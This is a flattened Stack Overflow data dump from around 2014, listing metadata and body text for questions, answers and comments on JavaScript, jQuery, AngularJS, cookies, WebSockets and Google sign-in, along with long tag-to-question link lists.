type: Question
has comment: http://stackoverflow.com/comment/40375294
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40375410
score: 0
has title: Global Jquery Validation
has comment: http://stackoverflow.com/comment/40375821
tagged with: javascript
type: UnansweredQuestion
tagged with: validation
has comment: http://stackoverflow.com/comment/40376937

http://stackoverflow.com/comment/40446028
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25849839
has text: Please post the first function code as well. Sounds like you need to hook into the callback of that area.
score: 0

http://stackoverflow.com/comment/40482004
type: Comment
has text: Calm down homeboy, it doesn't say ie9 anywhere I the question.
comment on: http://stackoverflow.com/a/25869556
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40407982
has text: This gives a length of `x - 1` because join takes the element at right and the last element does not have one. So it should be `new Array(x + 1).join(' ')`
type: AnswerComment
type: Comment
score: 4
comment on: http://stackoverflow.com/a/25828954

css
tags question: http://stackoverflow.com/q/25865804
tags question: http://stackoverflow.com/q/25842917
tags question: http://stackoverflow.com/q/25792296
tags question: http://stackoverflow.com/q/25752590
tags question: http://stackoverflow.com/q/25751095
tags question: http://stackoverflow.com/q/25761495
tags question: http://stackoverflow.com/q/25763818
tags question: http://stackoverflow.com/q/25773805
tags question: http://stackoverflow.com/q/25781386
tags question: http://stackoverflow.com/q/25838850
tags question: http://stackoverflow.com/q/25856489
tags question: http://stackoverflow.com/q/25787350
tags question: http://stackoverflow.com/q/25844790
tags question: http://stackoverflow.com/q/25865476
tags question: http://stackoverflow.com/q/25868691
tags question: http://stackoverflow.com/q/25770497
tags question: http://stackoverflow.com/q/25764270
tags question: http://stackoverflow.com/q/25805568
tags question: http://stackoverflow.com/q/25809111
tags question: http://stackoverflow.com/q/25824683
tags question: http://stackoverflow.com/q/25776559
tags question: http://stackoverflow.com/q/25737187
tags question: http://stackoverflow.com/q/25817804
tags question: http://stackoverflow.com/q/25767089
tags question: http://stackoverflow.com/q/25786156
tags question: http://stackoverflow.com/q/25772120
tags question: http://stackoverflow.com/q/25814418
tags question: http://stackoverflow.com/q/25779073
tags question: http://stackoverflow.com/q/25805173
tags question: http://stackoverflow.com/q/25729932
tags question: http://stackoverflow.com/q/25836772
tags question: http://stackoverflow.com/q/25873398
tags question: http://stackoverflow.com/q/25867801
tags question: http://stackoverflow.com/q/25806312
tags question: http://stackoverflow.com/q/25761377
tags question: http://stackoverflow.com/q/25734807
tags question: http://stackoverflow.com/q/25773146
tags question: http://stackoverflow.com/q/25769776
tags question: http://stackoverflow.com/q/25845692
tags question: http://stackoverflow.com/q/25816812
tags question: http://stackoverflow.com/q/25851377
tags question: http://stackoverflow.com/q/25777323
tags question: http://stackoverflow.com/q/25768145
tags question: http://stackoverflow.com/q/25717629
tags question: http://stackoverflow.com/q/25832048
tags question: http://stackoverflow.com/q/25742303
tags question: http://stackoverflow.com/q/25862489
tags question: http://stackoverflow.com/q/25766874
tags question: http://stackoverflow.com/q/25847691
tags question: http://stackoverflow.com/q/25719124
tags question: http://stackoverflow.com/q/25771127
tags question: http://stackoverflow.com/q/25715049
tags question: http://stackoverflow.com/q/25719919
tags question: http://stackoverflow.com/q/25721602
tags question: http://stackoverflow.com/q/25787738
tags question: http://stackoverflow.com/q/25826242
tags question: http://stackoverflow.com/q/25724043
tags question: http://stackoverflow.com/q/25775994
tags question: http://stackoverflow.com/q/25784740
tags question: http://stackoverflow.com/q/25715941
tags question: http://stackoverflow.com/q/25847390
tags question: http://stackoverflow.com/q/25776246
tags question: http://stackoverflow.com/q/25713051
tags question: http://stackoverflow.com/q/25766131
tags question: http://stackoverflow.com/q/25763063
tags question: http://stackoverflow.com/q/25849977
tags question: http://stackoverflow.com/q/25834692
tags question: http://stackoverflow.com/q/25765043
tags question: http://stackoverflow.com/q/25819291
tags question: http://stackoverflow.com/q/25740411
tags question: http://stackoverflow.com/q/25738676
tags question: http://stackoverflow.com/q/25789619
tags question: http://stackoverflow.com/q/25732090
tags question: http://stackoverflow.com/q/25857219
tags question: http://stackoverflow.com/q/25859573
tags question: http://stackoverflow.com/q/25760841
tags question: http://stackoverflow.com/q/25800554
tags question: http://stackoverflow.com/q/25865745
tags question: http://stackoverflow.com/q/25728334
tags question: http://stackoverflow.com/q/25773314

http://stackoverflow.com/comment/40296547
score: 1
has text: if ($( "#music" ).hasClass( "droppedlimusic" )) ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25767980

http://stackoverflow.com/comment/40362405
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25803841
type: Comment
has text: mhmmm Firebug return this: "`TypeError: $(...).attr(...) is undefined if ( $(this).attr('style').indexOf('float:left') > -1 ) {` "

http://stackoverflow.com/comment/40246068
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25722533
has text: I tried posting my code at jsfiddle but it is not working......the link is here.....http://jsfiddle.net/8dpmj3he/
type: AnswerComment

http://stackoverflow.com/comment/40274567
comment on: http://stackoverflow.com/a/25755226
has text: @Cohars it still works but could be removed at any point you decide to update your jQuery reference, the new preferred version of unbind() is off()
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/comment/40290259
score: 0
comment on: http://stackoverflow.com/q/25764373
type: QuestionComment
has text: demo is there! jsfiddle
type: Comment

http://stackoverflow.com/q/25868092
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25868345
has comment: http://stackoverflow.com/comment/40479415
tagged with: php
tagged with: cookies
has body: I am setting cookie in Jquery according to screen width . Like this And then I am using these cookie to validate a div in php along with some other parameter in the same file like this <?php if($current_item == 2 && $_COOKIE['adds'] == '1') { //place the adsense after the third ad. ?> </div <?php } ?> So far so good .The problem I am facing is that the if() statement is only getting true after I reload the page . What I have understood is that the cookie is set after the server if() statement is executed in the first time as the Jquery will execute only after the server script is done loading . Can any one suggest me any other method I can use to do this . Thanks & regards
type: Question
tagged with: jquery-cookie
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has title: How to validate a div according to cookie set in Jquery

http://stackoverflow.com/q/25735429
favorite count: 0
type: UnansweredQuestion
downvote count: 0
score: 1
has body: byte[] b = new byte[buffLent]; // buffLent = 10000 len = readerIn.read(b); //InputStream System.out.println("FIRST BYTE: " + b[0]); System.out.println("SECOND BYTE: " + b[1]); System.out.println("THIRD BYTE: " + b[2]); if(b[0] == 0x82) { //its binary } in this code I can detect the begining of binary data, if the file is small then I can read it fully, but if its too big, then it splits into parts, which hex code I should use to detect the continuation of binary data? cause as I tested it, the first byte becomes a length of current frame, so here I'am stucked, any ideas please?
tagged with: java
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25745845
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: websocket
has title: WebSockets how to identify binary data continuation frame?

http://stackoverflow.com/comment/40287596
has text: @Andy : Edit mess up.
comment on: http://stackoverflow.com/a/25763146
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/25759344
favorite count: 0
has answer: http://stackoverflow.com/a/25766465
tagged with: google-authentication
tagged with: google-api
type: AnsweredQuestion
upvote count: 1
accepted answer: http://stackoverflow.com/a/25766465
type: Question
has title: Login my website use google api
tagged with: javascript
has body: I am trying to login my website using google.I put the code in jsp page html code: &lt;span id="signinButton"&gt; &lt;span class="g-signin" data-callback="signinCallback" data-clientid="*********" data-cookiepolicy="single_host_origin" data-requestvisibleactions="http://schema.org/AddAction" data-scope="https://www.googleapis.com/auth/plus.login"&gt; &lt;/span&gt; &lt;/span&gt; javascript code: (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/client:plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })(); function signinCallback(authResult) { if (authResult['status']['signed_in']) { // Update the app to reflect a signed in user // Hide the sign-in button now that the user is authorized, for example: document.getElementById('signinButton').setAttribute('style', 'display: none'); var request = gapi.client.plus.people.get({ 'userId' : 'me' }); request.execute(function(resp) { console.log('ID: ' + resp.id); console.log('Display Name: ' + resp.displayName); console.log('Image URL: ' + resp.image.url); console.log('Profile URL: ' + resp.url); }); } else { // Update the app to reflect a signed out user // Possible error values: // "user_signed_out" - User is signed-out // "access_denied" - User denied access to your app // "immediate_failed" - Could not automatically log in the user console.log('Sign-in state: ' + authResult['error']); } } If i put data-scope address http i got error: That’s an error. Error: invalid_request request_visible_actions not allowed for scope http://www.googleapis.com/auth/plus.login That’s an error. Error: origin_mismatch Application: Project Default Service Account How to solve this problem.I want user profile details use google api?
tagged with: google-api-client
downvote count: 0
answer count: 1
tagged with: google-plus
score: 1

http://stackoverflow.com/comment/40237761
comment on: http://stackoverflow.com/q/25735616
score: 0
type: QuestionComment
type: Comment
has text: There is _nothing_ wrong about using this trick to narrow down the cause of the issue.

http://stackoverflow.com/comment/40429166
type: QuestionComment
comment on: http://stackoverflow.com/q/25840153
has text: I think your poll_vote function is getting called. I made [this fiddle](http://jsfiddle.net/jpbt8nha/)
score: 0
type: Comment

http://stackoverflow.com/q/25864160
tagged with: javascript
has comment: http://stackoverflow.com/comment/40472862
tagged with: jquery
has title: AngularJS, only runs correctly in firefox why?
upvote count: 2
has comment: http://stackoverflow.com/comment/40473872
answer count: 3
has comment: http://stackoverflow.com/comment/40472410
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40475797
has comment: http://stackoverflow.com/comment/40478069
favorite count: 0
possible better answer: http://stackoverflow.com/a/25864292
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25866390
has body: I'm using angularjs. The example I have done works perfectly in firefox, but does not work any other browser. The error that appears in other browsers when I press add picture botton in index is: XMLHttpRequest cannot load file:///C:/...../gifwallet/add_gif.html. Cross origin requests are only supported for HTTP. I do not understand is what is wrong. index.html &lt;html lang="es" ng-app="gifwalletApp"&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;link rel="stylesheet" href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css"&gt; &lt;link rel="stylesheet" href="stylesheets/app.css"&gt; &lt;script src="javascripts/angular.js"&gt;&lt;/script&gt; &lt;script src="javascripts/angular-translate.js"&gt;&lt;/script&gt; &lt;script src="http://code.jquery.com/jquery-1.11.0.min.js"&gt;&lt;/script&gt; &lt;script src="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;script src="src/app.js"&gt;&lt;/script&gt; &lt;script src="javascripts/ui-bootstrap-tpls-0.11.0.min.js"&gt;&lt;/script&gt; &lt;title&gt;GIF Wallet&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;div ng-controller="TranslateController"&gt; &lt;button ng-click="changeLanguage('es')" translate="BUTTON_TEXT_ES"&gt;&lt;/button&gt; &lt;button ng-click="changeLanguage('en')" translate="BUTTON_TEXT_EN"&gt;&lt;/button&gt; &lt;/div&gt; &lt;header ng-controller="MenuController"&gt; &lt;ul class="nav nav-pills pull-right"&gt; &lt;li class="active"&gt; &lt;a href="#"&gt; &lt;span class="glyphicon glyphicon-home"&gt;&lt;/span&gt; &amp;nbsp; &lt;span class="badge pull-right"&gt;42&lt;/span&gt; &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a href="#" ng-click="add()"&gt;&lt;span class="glyphicon glyphicon-plus"&gt;&lt;/span&gt;&lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a href=""&gt;&lt;span class="glyphicon glyphicon-search"&gt;&lt;/span&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;h3 class="text-muted"&gt;GIF Wallet&lt;/h3&gt; &lt;/header&gt; &lt;div id="imag…
type: AnsweredQuestion
score: 2
downvote count: 0
has answer: http://stackoverflow.com/a/25866277
has answer: http://stackoverflow.com/a/25866390
type: Question
has answer: http://stackoverflow.com/a/25864292

http://stackoverflow.com/comment/72875635
has text: Very good hint, I had jquery npm installed in Aurelia and also manually loaded in index.html. Thanks!
type: AnswerComment
comment on: http://stackoverflow.com/a/33368115
score: 0
type: Comment

http://stackoverflow.com/comment/40364597
comment on: http://stackoverflow.com/q/25805191
score: 0
type: Comment
type: QuestionComment
has text: If you set a cookie with this data in it, every request you make to the host will send the cookie data until you delete it. That's what cookies are for. Are you **sure** this is what you want? It's quite an unusual approach. A better question would be "How to pass data to window opened with `window.open`?"

http://stackoverflow.com/q/25739029
has title: Hide cookies from document.cookie
type: Question
has body: I opened cookie browser for firefox, I noticed that my localhost(php/apache) has a cookie named sessid. But when I tried document.cookie in the browser, the result is "", how is that possible?
tagged with: javascript
upvote count: 4
answer count: 1
has answer: http://stackoverflow.com/a/25739094
favorite count: 0
accepted answer: http://stackoverflow.com/a/25739094
tagged with: php
type: AnsweredQuestion
score: 3
tagged with: cookies
downvote count: 1

http://stackoverflow.com/a/66692815
has comment: http://stackoverflow.com/comment/125387273
upvote count: 24
score: 24
downvote count: 0
has comment: http://stackoverflow.com/comment/124013070
type: Answer
has body: const crypto = require('crypto').webcrypto; let a = new Uint8Array(24); console.log(crypto.getRandomValues(a)); This works almost exactly like the one in the browser, by adding webcrypto to the end of requrie('crypto');.
has comment: http://stackoverflow.com/comment/119904895
answers question: http://stackoverflow.com/q/25725596

http://stackoverflow.com/a/25741632
downvote count: 0
has body: This is just weird way to call function. You should never use string as first argument of setTimeout and setInterval, and I would not recommend to read book with this kind of examples. Correct way is to pass anonimous function with desired function call.
score: 1
has comment: http://stackoverflow.com/comment/40249456
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25741387

http://stackoverflow.com/a/25848145
has body: I would use the 2nd solution, since the separator is probably not necessary for a (probably handicapped) user to understand the context.
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/40486907
answers question: http://stackoverflow.com/q/25848022
score: 2
has comment: http://stackoverflow.com/comment/40447119
downvote count: 0

http://stackoverflow.com/comment/40236672
comment on: http://stackoverflow.com/a/25734813
type: AnswerComment
score: 0
type: Comment
has text: `$.getJSON` ignores the content type and assumes it's JSON.

http://stackoverflow.com/comment/40349422
type: Comment
has text: There's a reason I want to use stream - it's streaming. I don't want one single write() syscall, it's not streaming, it's sending the whole output in one piece. I want node to stream output as it gets it from the for loop, not buffer it (as I can simply concatenate everything in one variable and just use res.end()) and push to client.
comment on: http://stackoverflow.com/a/25795993
type: AnswerComment
score: 0

http://stackoverflow.com/a/25866627
has comment: http://stackoverflow.com/comment/40477414
score: 1
has body: When you do this gulp.task('del:dist', deleteFolder(cfg.path.dist, cb)); you are not passing gulp.task a callback. You are invoking the function deleteFolder and passing it's return value. Since it returns nothing, the return value of that function is undefined. Therefore you see the error.
upvote count: 1
answers question: http://stackoverflow.com/q/25866456
downvote count: 0
has comment: http://stackoverflow.com/comment/40477206
has comment: http://stackoverflow.com/comment/40476878
type: Answer

http://stackoverflow.com/q/25731948
has comment: http://stackoverflow.com/comment/40350237
type: UnansweredQuestion
has body: Question in a nutshell With each column tweak, I save the new column model to the server, for that user, and immediately start mutating the JSON to align with the new column order for that user's ajax requests. In this scenario, do I still need the remapColumns function or the permuatation variable? My initial jQGrid (4.4.5) is loaded using datatype:'json', loadonce:true (fwiw) The server explicitly writes out the javascript variables to properly initialize the grid's colNames and colModel in the desired order, width and desired 'hidden-ness' - unique to that users' last saved settings (if any). For example: var MainTableColumnNames = ['Work Order','DatePickedUp','Generator','Order Status']; var MainTableColumnModel = [ {name: 'Work Order', index: 'Work Order', editable:false, align: 'left', hidden:false, width:82 }, {name: 'DatePickedUp', index: 'DatePickedUp', editable:false, align: 'left', hidden:false, formatter:'date', width:120 }, {name: 'Generator', index: 'Generator', editable:false, align: 'left', hidden:false, width:264 }, width:293 }, {name: 'Order Status', index: 'Order Status', editable:false, align: 'left', hidden:false, width:50 } ]; I have my own method for saving col model data to the server and am not using any of the concepts that I've run across recently (it seems Oleg has addressed this a lot). FWIW: I only save width,size,hidden (and the column layout order is implied). Thus, some of the above col model is supplied from user settings, while other parts are derived from defaults or by reflecting on properties of the .NET System.Data.DataColumn Furthermore, the resizeStop event and the extended column chooser both point to a common script function which persists changes in the column layout. Thus, the next time the user loads the web page, everything will be laid out according to the new settings saved for that user. That is all working fine. But.. even before they reload the web page, any new requests to the server will now be sending the json d…
has comment: http://stackoverflow.com/comment/40341904
has comment: http://stackoverflow.com/comment/40343155
answer count: 0
has comment: http://stackoverflow.com/comment/40343640
tagged with: http://stackoverflow.com/tag/json
tagged with: jqgrid
has comment: http://stackoverflow.com/comment/40253518
has comment: http://stackoverflow.com/comment/40230580
type: Question
tagged with: dataset
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40342039
has title: jqGrid colModel persists to server but trigger reloadGrid fails to put data in right columns

internet-explorer-9
tag name: internet-explorer-9
tags question: http://stackoverflow.com/q/25810368
tags question: http://stackoverflow.com/q/25869254
tags question: http://stackoverflow.com/q/25793321
type: Tag
tags question: http://stackoverflow.com/q/25771392
tags question: http://stackoverflow.com/q/25808949

javascript
tags question: http://stackoverflow.com/q/25775097
tags question: http://stackoverflow.com/q/25829095
tags question: http://stackoverflow.com/q/25784803
tags question: http://stackoverflow.com/q/25787666
tags question: http://stackoverflow.com/q/25772856
tags question: http://stackoverflow.com/q/25794433
tags question: http://stackoverflow.com/q/25770204
tags question: http://stackoverflow.com/q/25826464
tags question: http://stackoverflow.com/q/25737881
tags question: http://stackoverflow.com/q/25739761
tags question: http://stackoverflow.com/q/25754334
tags question: http://stackoverflow.com/q/25806068
tags question: http://stackoverflow.com/q/25742441
tags question: http://stackoverflow.com/q/25802688
tags question: http://stackoverflow.com/q/25858004
tags question: http://stackoverflow.com/q/25862492
tags question: http://stackoverflow.com/q/25772015
tags question: http://stackoverflow.com/q/25815816
tags question: http://stackoverflow.com/q/25780700
tags question: http://stackoverflow.com/q/25794268
tags question: http://stackoverflow.com/q/25738314
tags question: http://stackoverflow.com/q/25829115
tags question: http://stackoverflow.com/q/25822466
tags question: http://stackoverflow.com/q/25803271
tags question: http://stackoverflow.com/q/25780390
tags question: http://stackoverflow.com/q/25847419
tags question: http://stackoverflow.com/q/25858752
tags question: http://stackoverflow.com/q/25784786
tags question: http://stackoverflow.com/q/25834979
tags question: http://stackoverflow.com/q/25827758
tags question: http://stackoverflow.com/q/25718561
tags question: http://stackoverflow.com/q/25871907
tags question: http://stackoverflow.com/q/25868132
tags question: http://stackoverflow.com/q/25722703
tags question: http://stackoverflow.com/q/25780703
tags question: http://stackoverflow.com/q/25861222
tags question: http://stackoverflow.com/q/25753368
tags question: http://stackoverflow.com/q/25813463
tags question: http://stackoverflow.com/q/25794900
tags question: http://stackoverflow.com/q/25783693
tags question: http://stackoverflow.com/q/25724109
tags question: http://stackoverflow.com/q/25786557
tags question: http://stackoverflow.com/q/25786346
tags question: http://stackoverflow.com/q/25872630
tags question: http://stackoverflow.com/q/25787867
tags question: http://stackoverflow.com/q/25799363
tags question: http://stackoverflow.com/q/25847211
tags question: http://stackoverflow.com/q/25730263
tags question: http://stackoverflow.com/q/25825391
tags question: http://stackoverflow.com/q/25765880
tags question: http://stackoverflow.com/q/25820346
tags question: http://stackoverflow.com/q/25787598
tags question: http://stackoverflow.com/q/25815310
tags question: http://stackoverflow.com/q/25830477
tags question: http://stackoverflow.com/q/25745242
tags question: http://stackoverflow.com/q/25747109
tags question: http://stackoverflow.com/q/25800962
tags question: http://stackoverflow.com/q/25732131
tags question: http://stackoverflow.com/q/25775794
tags question: http://stackoverflow.com/q/25766949
tags question: http://stackoverflow.com/q/25769660
tags question: http://stackoverflow.com/q/25790423
tags question: http://stackoverflow.com/q/25768829
tags question: http://stackoverflow.com/q/25729060
tags question: http://stackoverflow.com/q/25756783
tags question: http://stackoverflow.com/q/25867532
tags question: http://stackoverflow.com/q/25747325
tags question: http://stackoverflow.com/q/25728709
tags question: http://stackoverflow.com/q/25859462
tags question: http://stackoverflow.com/q/25748942
tags question: http://stackoverflow.com/q/25827570
tags question: http://stackoverflow.com/q/25771401
tags question: http://stackoverflow.com/q/25869135
tags question: http://stackoverflow.com/q/25733396
tags question: http://stackoverflow.com/q/25829784
tags question: http://stackoverflow.com/q/25755205
tags question: http://stackoverflow.com/q/25724411
tags question: http://stackoverflow.com/q/25723111
tags question: http://stackoverflow.com/q/25760132
tags question: http://stackoverflow.com/q/25755195

http://stackoverflow.com/comment/40327880
score: 0
comment on: http://stackoverflow.com/a/25781651
type: AnswerComment
type: Comment
has text: i about redraw table - $('#forTable').empty();

http://stackoverflow.com/comment/40317923
comment on: http://stackoverflow.com/q/25779340
score: 0
type: Comment
type: QuestionComment
has text: @epascarello yeah, but question type seems exactly like that....

http://stackoverflow.com/q/25828639
score: 0
answer count: 2
tagged with: javascript
tagged with: angularjs
has body: I would like to write out list of some items in my app using ng-repeat but i faced with this problem: Template {{statitem.name}} Test And in AccountCtrl angular.module('starter.controllers', []) .controller('AccountCtrl', function($scope, Friends) { $scope.getData = function() { console.log('test'); var friends = [ { id: 0, name: 'Scruff McGruff' }, { id: 1, name: 'G.I. Joe' }, { id: 2, name: 'Miss Frizzle' }, { id: 3, name: 'Ash efe' } ]; $scope.stats = friends; } }); Problem is, that no item is obtained in template. Where can be problem please? Thanks for any help. EDIT: I solved it by moving the method calling to the parent div. <ion-content class="padding" ng-controller="AccountCtrl" ng-init="getData()">
has answer: http://stackoverflow.com/a/25829112
type: UnansweredQuestion
type: Question
has title: ng-repeat called from controller function
has answer: http://stackoverflow.com/a/25831138

http://stackoverflow.com/q/25786368
tagged with: ajax
score: 0
has body: I'm trying to write a simple javascript function to retrieve a webpage content using ajax and yql. Here's the function: function retrieveDataGet(url){ var encodedUrl = encodeURI(url); var address = "https://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20html%20where%20url%3D%22"+encodedUrl+"%2Fcategory%2Fnews%2F%22&amp;diagnostics=true"; console.log("Call : "+address+"\n"); $.ajax({ url: address, method: 'GET', async: false }).done(function(data) { console.log(data);//Here I can see the webpage data return data; }).error(function(err){ return "Error"; }).fail(function(){ return "Fail"; }); } Now, when I call the function, I can see the data on the console printed by the instruction "console.log(data)", but when I try this code: var data = retrieveDataGet("http://www.wikipedia.org/"); console.log(data);//here data is undefined I get "undefined". Where am I wrong?
has answer: http://stackoverflow.com/a/25786453
tagged with: web-scraping
has answer: http://stackoverflow.com/a/25786535
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25786453
possible better answer: http://stackoverflow.com/a/25786535
type: Question
answer count: 2
has title: Ajax synchronous call returns undefined
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25807515
linked to: http://stackoverflow.com/q/332872
downvote count: 0
has comment: http://stackoverflow.com/comment/40368695
has title: Encode special characters to pass in url and read by javascript
score: 16
possible better answer: http://stackoverflow.com/a/25807715
type: Question
answer count: 2
has body: I need to pass some parameters in the url and they can have special characters like ", spanish Ñ or ñ, : spaces and accents. What is the propper way to encode them before adding to the url or in case I got in the html like that, read them? I tried this: arrayData[i] = pair[1].replace('+', " ").replace('%22', "\""); But just get working with + or spaces, not both at the same time or in 2 lines: arrayData[i] = pair[1].replace('+', " "); arrayData[i] = pair[i].replace('%22', "\"");
upvote count: 16
tagged with: javascript
has answer: http://stackoverflow.com/a/25807586
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25807586
favorite count: 0
has comment: http://stackoverflow.com/comment/40368365
duplicate of: http://stackoverflow.com/q/332872
has answer: http://stackoverflow.com/a/25807715
type: AnsweredQuestion

http://stackoverflow.com/a/25713970
downvote count: 0
has comment: http://stackoverflow.com/comment/74348998
upvote count: 5
accepted answer of: http://stackoverflow.com/q/25713345
has comment: http://stackoverflow.com/comment/40215336
type: Answer
answers question: http://stackoverflow.com/q/25713345
has body: The issue is not primarily with FusionCharts - it is a generic SVG issue. In SVG, when gradient colour is applied on an element, it actually "refers" to another gradient element on the page. This is somewhat similar to how links can refer to hashtags using &lt;a id="hash" /&gt; on a page. Now, when you are setting a &lt;base&gt; to the page, the references are going haywire. The gradients now refer to an element with URL as provided in your base tag. One way to fix this is to access the internal graphics renderer and hard-set the URL to the absolute location of the page. The way to do that would be to access RedRaphael object within FusionCharts core and set the _url variable for the same. The following code should do it for you. eve.on('raphael.new', function () { this.raphael._url = this.raphael._g.win.location.href.replace(/#.*?$/, ''); }); The only caveat is that specifying absolute URL as reference to gradient elements does not work in some older browsers (I'm not sure exactly - could be Safari 5 or FF 3.0). It may also have some negative impact while exporting FusionCharts as image - the relative URLS will be invalidated when the SVG is rasterised on FusionCharts Cloud Export servers.
score: 5
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/104987472

http://stackoverflow.com/a/25782520
type: Answer
has body: Its just about the z-index of the third layer. You have to set the position of the media content to relative, position the 3 layer with absolute to the bottom and set z-index to bottom layer. That's it. FIDDLE html &lt;section id="s-explore"&gt; &lt;div class="pagebreak"&gt;&lt;span&gt;The Lifestyle&lt;/span&gt; &lt;i class="down"&gt;&amp;lt;&lt;/i&gt; &lt;/div&gt; &lt;div class="wrapper layout"&gt; &lt;div class="col"&gt; &lt;div class="media"&gt; &lt;img id="d1" src="http://placekitten.com/300/300" /&gt; &lt;div class="contenthover"&gt; &lt;p&gt;&lt;a href="#" class="mybutton"&gt;Lorem ipsum&lt;/a&gt; &lt;/p&gt; &lt;/div&gt; &lt;div class="bottom_layer"&gt;colors&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; css .contenthover{ color:#fff; } .mybutton{ padding:20px; color:#fff; background-color:#000; margin:10px; } .bottom_layer{ position:absolute; bottom: 0; background:red; z-index: 10; width: 300px; } .media{ position:relative; }
score: 0
answers question: http://stackoverflow.com/q/25782365

http://stackoverflow.com/comment/40409334
type: QuestionComment
comment on: http://stackoverflow.com/q/25829614
score: 0
has text: Yes you were correct.
type: Comment

http://stackoverflow.com/comment/71208732
score: 0
type: Comment
comment on: http://stackoverflow.com/a/27890340
has text: This no longer works. Math does not render on first load nor does it render after page refresh.
type: AnswerComment

http://stackoverflow.com/tag/html
tags question: http://stackoverflow.com/q/25742303
tags question: http://stackoverflow.com/q/25805317
tags question: http://stackoverflow.com/q/25750469
tags question: http://stackoverflow.com/q/25766874
tags question: http://stackoverflow.com/q/25785890
tags question: http://stackoverflow.com/q/25784214
tags question: http://stackoverflow.com/q/25847691
tags question: http://stackoverflow.com/q/25719124
tags question: http://stackoverflow.com/q/25807632
tags question: http://stackoverflow.com/q/25715049
tags question: http://stackoverflow.com/q/25846305
tags question: http://stackoverflow.com/q/25811029
tags question: http://stackoverflow.com/q/25759426
tags question: http://stackoverflow.com/q/25742179
tags question: http://stackoverflow.com/q/25719919
tags question: http://stackoverflow.com/q/25868913
tags question: http://stackoverflow.com/q/25787553
tags question: http://stackoverflow.com/q/25721602
tags question: http://stackoverflow.com/q/25804778
tags question: http://stackoverflow.com/q/25738895
tags question: http://stackoverflow.com/q/25851357
tags question: http://stackoverflow.com/q/25724043
tags question: http://stackoverflow.com/q/25847083
tags question: http://stackoverflow.com/q/25775994
tags question: http://stackoverflow.com/q/25754456
tags question: http://stackoverflow.com/q/25715941
tags question: http://stackoverflow.com/q/25767074
tags question: http://stackoverflow.com/q/25847390
tags question: http://stackoverflow.com/q/25743748
tags question: http://stackoverflow.com/q/25718969
tags question: http://stackoverflow.com/q/25823455
tags question: http://stackoverflow.com/q/25765518
tags question: http://stackoverflow.com/q/25862698
tags question: http://stackoverflow.com/q/25791140
tags question: http://stackoverflow.com/q/25776246
tags question: http://stackoverflow.com/q/25735451
tags question: http://stackoverflow.com/q/25766131
tags question: http://stackoverflow.com/q/25763063
tags question: http://stackoverflow.com/q/25849977
tags question: http://stackoverflow.com/q/25838343
tags question: http://stackoverflow.com/q/25753030
tags question: http://stackoverflow.com/q/25738828
tags question: http://stackoverflow.com/q/25783810
tags question: http://stackoverflow.com/q/25834692
tags question: http://stackoverflow.com/q/25835838
tags question: http://stackoverflow.com/q/25731871
tags question: http://stackoverflow.com/q/25762297
tags question: http://stackoverflow.com/q/25849228
tags question: http://stackoverflow.com/q/25763262
tags question: http://stackoverflow.com/q/25777281
tags question: http://stackoverflow.com/q/25754578
tags question: http://stackoverflow.com/q/25816982
tags question: http://stackoverflow.com/q/25765043
tags question: http://stackoverflow.com/q/25719442
tags question: http://stackoverflow.com/q/25748523
tags question: http://stackoverflow.com/q/25730008
tags question: http://stackoverflow.com/q/25840460
tags question: http://stackoverflow.com/q/25819291
tags question: http://stackoverflow.com/q/25740411
tags question: http://stackoverflow.com/q/25822352
tags question: http://stackoverflow.com/q/25873077
tags question: http://stackoverflow.com/q/25745756
tags question: http://stackoverflow.com/q/25800419
tags question: http://stackoverflow.com/q/25785073
tags question: http://stackoverflow.com/q/25792139
tags question: http://stackoverflow.com/q/25738676
tags question: http://stackoverflow.com/q/25807357
tags question: http://stackoverflow.com/q/25759343
tags question: http://stackoverflow.com/q/25861262
tags question: http://stackoverflow.com/q/25814609
tags question: http://stackoverflow.com/q/25796695
tags question: http://stackoverflow.com/q/25821915
tags question: http://stackoverflow.com/q/25857219
tags question: http://stackoverflow.com/q/25738501
tags question: http://stackoverflow.com/q/25852361
tags question: http://stackoverflow.com/q/25742375
tags question: http://stackoverflow.com/q/25796657
tags question: http://stackoverflow.com/q/25728112
tags question: http://stackoverflow.com/q/25809813
tags question: http://stackoverflow.com/q/25771293

http://stackoverflow.com/q/25748328
favorite count: 0
has comment: http://stackoverflow.com/comment/40261384
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/40260819
downvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25755379
has comment: http://stackoverflow.com/comment/40260984
has comment: http://stackoverflow.com/comment/40299502
tagged with: http://stackoverflow.com/tag/json
